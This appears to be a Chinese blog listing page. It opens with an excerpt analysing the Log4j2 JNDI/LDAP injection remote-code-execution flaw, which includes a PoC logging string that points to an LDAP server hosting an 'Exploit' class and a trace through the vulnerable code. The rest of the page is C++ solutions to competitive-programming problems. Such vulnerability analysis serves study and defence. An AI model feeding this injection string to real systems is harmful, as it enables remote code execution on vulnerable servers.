Apache Log4j2 trustURLCodebase绕过/rc1 绕过

留下评论

0x00 原理

Log4j2 是 Java 开发框架日常使用的日志库，涉及范围广，容易触发
poc 如下

public static void main(String[] args) throws Exception {
    logger.error("${jndi:ldap://127.0.0.1:1389/Exploit}");
}

后文会提供一个利用环境提供一个利用环境
本次漏洞的 RCE 原理就是经典的 jndi+ldap 注入（jndi 只是其中的一种），利用${xxx} 触发 JndiLookup.lookup，从而加载远程恶意 payload 达到 RCE 效果，只是这次的触发条件太普遍了，毕竟谁都要打 log 不是

跟随 logger.log, 你会一直进入到 LoggerConfig.processLogEvent, 其中关键的地方就是对 event 做了一个 adapter 适配

private void processLogEvent(final LogEvent event, final LoggerConfigPredicate predicate) {
    event.setIncludeLocation(isIncludeLocation());
    if (predicate.allow(this)) {
        callAppenders(event);
    }
    logParent(event, predicate);
}

在 adapter 中会进行 encode，serialize 和 format, 每个 formatter 都会构造 log 的一部分, 其中的 MessagePatternConverter 存在问题

@Override
public StringBuilder toSerializable(final LogEvent event, final StringBuilder buffer) {
    final int len = formatters.length;
    for (int i = 0; i < len; i++) {
        formatters[i].format(event, buffer);
    }
    if (replace != null) {
        String str = buffer.toString();
        str = replace.format(str);
        buffer.setLength(0);
        buffer.append(str);
    }
    return buffer;
}

继续阅读 →

NOI 4135:月度开销

留下评论

题目

http://bailian.openjudge.cn/practice/4135/

思路

开始使用的 dp，但是后来发现 Memory 超了，一看确实 m，n 最大到10w，开个二维数组肯定超了
这题使用二分搜索，使用 isTrue 检验是否合法，合法就将右边界变成mid，否则 left = mid+1

源码

//
//  4135.cpp
//  test
//
//  Created by bytedance on 2020/9/9.
//  Copyright © 2020 bytedance. All rights reserved.
//

#include <stdio.h>
#include <iostream>
#include <vector>
using namespace std;


vector<int> cost;
int m,n;
bool isTrue(int target){
    int sum = 0;
    int cnt = 1;
    for(int i = 0;i < cost.size();++i){
        if(cost[i] > target)return false;
        if(sum+cost[i]>target){
            sum=cost[i];cnt++;
        }else{
            sum+=cost[i];
        }
        if(cnt>m)return false;
    }
    return true;
}
int main(){

    cin >> n >>m;
    int left=0,right=0,mid;
    int t = n;
    while(t--){
        int a;
        cin >> a;
        left = max(left,a);
        right += a;
        cost.push_back(a);
    }
    while(left<right){
        mid = left+(right-left)/2;
       // cout << left<<" "<<right<<endl;
        if(isTrue(mid)){
           // cout << mid<<" t"<<endl;
            right = mid;
        }else{
            left = mid + 1;
            //cout << mid<<" f"<<endl;
        }
    }
  //  cout << isTrue(1900);
    cout<<left;

    return 0;
}

NOI 2387:Til the Cows Come Home

留下评论

题目

http://bailian.openjudge.cn/practice/2387/

思路

狄杰斯特拉，优先级队列和 d 数组保持同步即可，使用邻接表的话，Edge 中的 from 字段可以省略

源码

//
//  2387.cpp
//  test
//
//  Created by bytedance on 2020/9/8.
//  Copyright © 2020 bytedance. All rights reserved.
//

#include <stdio.h>
#include <iostream>
#include <vector>
#include <queue>
#define inf 99999999
using namespace std;
struct Edge{
    int from,to,dis;
    Edge(int from,int to,int dis):from(from),to(to),dis(dis){};
    bool operator < (const Edge &e) const{
        return e.dis<dis;
    }
};

int n, t;

int main(){
    cin >> t >> n;
    vector<vector<Edge>> edges(n+1,vector<Edge>());
    priority_queue<Edge> q;
    vector<int> d(n+1,inf);
    vector<bool> done(n+1);
    while(t--){
        int a,b,c;
        cin >> a>>b>>c;
        Edge e(a,b,c);
        edges[a].push_back(e);
        Edge e2(b,a,c);
        edges[b].push_back(e2);
    }
    //边读入ok，初始化距离数组
    q.push(Edge(1,1,0));
    d[1]=0;
    while(!q.empty()){
        int node  = q.top().to;q.pop();
        if(done[node])continue;
        done[node] = true;
        for(int i = 0;i < edges[node].size();++i){
            Edge e = edges[node][i];
            if(d[e.to]>d[node]+e.dis){
                d[e.to] = d[node]+e.dis;
                q.push(Edge(1,e.to,d[e.to]));
            }
        }
    }
    cout << d[n];
    return 0;
}

NOI 1840:Eqs

留下评论

题目

http://bailian.openjudge.cn/practice/1840/

思路

把等式右移三项，遍历左边的两项可能的取值用 map 存下来，遍历右边值而后从map中取出对应个数相加

源码

//
//  1840.cpp
//  test
//
//  Created by bytedance on 2020/9/8.
//  Copyright © 2020 bytedance. All rights reserved.
//

#include <stdio.h>
#include <iostream>
#include <map>
#include <math.h>
using namespace std;

int main(){
    int cnt = 0;
    map<int,int> m;
    int a1,a2,a3,a4,a5;
    cin >> a1>>a2>>a3>>a4>>a5;
    for(int i = -50;i <= 50;++i){
        int res1 = i*i*i*a1;
        for(int j = -50;j <= 50;++j){
            int res = res1+j*j*j*a2;
            if(i==0||j==0)continue;
            if(m.find(res)!=m.end()){
                m[res]++;
            }else{
                m[res] = 1;
            }

        }
    }
    //    for(map<int,int>::iterator it = m.begin();it!=m.end();++it){
    //        cout <<it->first<<" "<<it->second<<endl;
    //    }

    for(int i = -50;i <= 50;++i){
        for(int j = -50;j <=50;++j){
            for(int k = -50;k <= 50;++k){
                if(i==0||j==0||k==0)continue;
                int res = i*i*i*a3+j*j*j*a4+k*k*k*a5;
                res = -res;
                if(m.find(res)!=m.end()){
                    cnt+=m[res];
                }
            }
        }
    }
    cout << cnt;
    return 0;
}

POJ 3126.Prime Path 素数筛+双向BFS

留下评论

题目

http://poj.org/problem?id=3126

思路

素数筛给出4位素数，双向 BFS

源码

//
//  3126.cpp
//  test
//
//  Created by bytedance on 2020/9/8.
//  Copyright © 2020 bytedance. All rights reserved.
//
#include <stdio.h>
#include <iostream>
#include <vector>
#include <queue>
#include <map>
using namespace std;
bool pre[10000]={false};
vector<string> p;
int main(){
    int time;
    cin >> time;

    string s,e;
    for(int i = 2;i <= 9999;++i){
        for(int j = i*2;j<=9999;j+=i)pre[j]=true;
    }
    for(int i = 1000;i<=9999;++i){
        if(!pre[i])p.push_back(to_string(i));
    }
    while(time--){
        cin >> s>>e;
        //素数集合构造完毕
        int idx = 0;
        queue<string> q[2];
        map<string,bool> vis[2];
        q[0].push(s);
        q[1].push(e);
        vis[0][s]=true;
        vis[1][e]=true;
        int cnt = 0;
        bool f = true;
        while(!q[0].empty()&&!q[1].empty()&&f){
            idx=idx^1;
            int sz = q[idx].size();
            while(sz--&&f){
                string crt = q[idx].front();
                q[idx].pop();
                if(vis[idx^1][crt]==true){ cout<< cnt; f=false;}
                for(int i = 0;i < 4&&f;++i){
                    char c = crt[i];
                    for(int j = '0';j <='9'&&f;++j){
                        crt[i] = j;
                        if(j==c||vis[idx][crt]||find(p.begin(),p.end(),crt)==p.end())continue;
                        q[idx].push(crt);
                        vis[idx][crt]=true;
                    }
                    crt[i] = c;
                }
            }
            cnt++;
        }
    }
    return 0;
}

NOI 2355:Railway tickets dp

留下评论

题目

http://bailian.openjudge.cn/practice/2355/

思路

我觉得可以用 狄杰斯特拉但是我写完 wa 了不知道为啥
dp[i]表示到i的最短路径，直接 dp 求解，i 从 1到n遍历求解dp[i],只会用到 dp[k] k < i

源码

//
//  2355.cpp
//  test
//
//  Created by bytedance on 2020/9/7.
//  Copyright © 2020 bytedance. All rights reserved.
//

#include <iostream>
#include <vector>
#define INF 999999999999
using namespace std;

long c1,c2,c3,l1,l2,l3;
int n,s,e;
long pre[10005]={0};
int main(){
    cin >>l1>>l2>>l3;
    cin >> c1>>c2>>c3;
    cin >> n;
    cin >>s>>e;
    if(s>e)swap(s,e);
    for(int i = 2;i <= n;++i){
        cin >> pre[i];
    }
    vector<long>d(n+1,INF);
    d[s] = 0;
    for(int i = s+1;i <= n;++i){
        for(int j = i-1;j>=s;--j){
            long dis = pre[i]-pre[j];
            if(dis<=l1)d[i]=min(d[i],d[j]+c1);
            else if(dis<=l2)d[i] = min(d[i],d[j]+c2);
            else if(dis<=l3)d[i] = min(d[i],d[j]+c3);
            else break;
        }
    }
    cout<<d[e];
    return 0;
}

NOI 3247:回文素数

留下评论

题目

http://bailian.openjudge.cn/practice/3247/

思路

判断素数直接遍历根号因子，本题需要生成n位的回文数字同时需要知道以下性质
偶数位的回文数字都可以被11整除，只考虑基数位的回文数字，同时我采用的构造方法是遍历对称轴前方的数字，而后中间插入0-9，但实际上可以直接带着对称轴数字直接便利，只不过在生成回文数的时候提前除10

源码

//
//  3247.cpp
//  test
//
//  Created by bytedance on 2020/9/7.
//  Copyright © 2020 bytedance. All rights reserved.
//
#include <stdio.h>
#include <iostream>
#include <vector>
#include <math.h>
using namespace std;

bool isP(int n){
    int sq = sqrt(n)+1;
    for(int i = 2;i <= sq;++i){
        if(n%i==0)return false;
    }
    return true;
}
int main(){
    int n;
    cin >> n;
    if(n == 1){
        cout <<"4\n2 3 5 7";
    }else if(n==2)cout<<"1\n11";
    else if(n==4||n==6||n==8) cout<<"0";
    else{
        int len = n/2;
        int mn = pow(10,len-1);
        int mx = pow(10,len)-1;
        int cnt;
        vector<int> res;
        for(int i = mn;i <= mx;++i){
            vector<int> hui(10,i);
            int temp = i;
            for(int i = 0;i < 10;++i){
                hui[i]=hui[i]*10+i;

            }
            while(temp!=0){
                for(int i = 0;i < 10;++i){
                    hui[i]=hui[i]*10+temp%10;
                }
                temp/=10;
            }
//            cout<<i<<endl;
            for(int i = 0;i < 10;++i){
                if(isP(hui[i]))res.push_back(hui[i]);
//                cout << hui[i]<<" ";
            }
        }
        cout << res.size()<<endl;
                  for(int i = 0;i < res.size();++i){
                      cout <<res[i]<<" ";
                  }
    }
    return 0;
}

NOI 22:因子分解 唯一分解定理

留下评论

题目

http://noi.openjudge.cn/ch0113/22/

思路

素数筛，p开始筛选掉所有的2p，3p，4p，而后使用唯一分解定理

源码

//
//  22.cpp
//  test
//
//  Created by bytedance on 2020/9/7.
//  Copyright © 2020 bytedance. All rights reserved.
//

#include <stdio.h>
#include <string.h>
#include <iostream>

using namespace std;


int ps[1000];
int main(){
    int n;
    cin >> n;
    memset(ps,0,sizeof(ps));
    for(int i = 2;i < 1000;++i){
        for(int j = i*2;j<1000;j+=i){
            ps[j] = 1;
        }
    }
    string res = "";
    for(int i = 2;i<1000;++i){
        if(ps[i]==1||n==1)continue;
        int cnt = 0;
        while(n%i==0){
            n/=i;
            cnt++;
        }
        if(cnt!=0){
            if(cnt==1)res=res+"*"+to_string(i);
            else res=res+"*"+to_string(i)+"^"+to_string(cnt);
        }
    }
    res.erase(res.begin());
    cout <<res;
    return 0;
}

leetcode 560. Subarray Sum Equals K

留下评论

题目

https://leetcode.com/problems/subarray-sum-equals-k/
Given an array of integers and an integer k, you need to find the total number of continuous subarrays whose sum equals to k.

Example 1:

Input:nums = [1,1,1], k = 2
Output: 2

Constraints:

The length of the array is in range [1, 20,000].
The range of numbers in the array is [-1000, 1000] and the range of the integer k is [-1e7, 1e7].

思路

记录向前累计和，而后向前查找距离目标k的差值出现多少次，区间问题尽量转换为向前累计和的操作，而不是区间和的问题

源码

class Solution {
public:
    unordered_map<int,int> m;
    int sum[20005];
    int res = 0;
    int subarraySum(vector<int>& nums, int k) {
        sum[0] = 0;
        m[0] = 1;
        for(int i = 1;i <= nums.size();++i){
            int s = sum[i-1]+nums[i-1];
            sum[i] = s;
            int re = s-k;
            if(m.find(re)!=m.end()){
                res+=m[re];
            }
            if(m.find(s)==m.end()){
                m[s]=1;
            }else{
                m[s]++;
            }
        }
        return res;
    }
};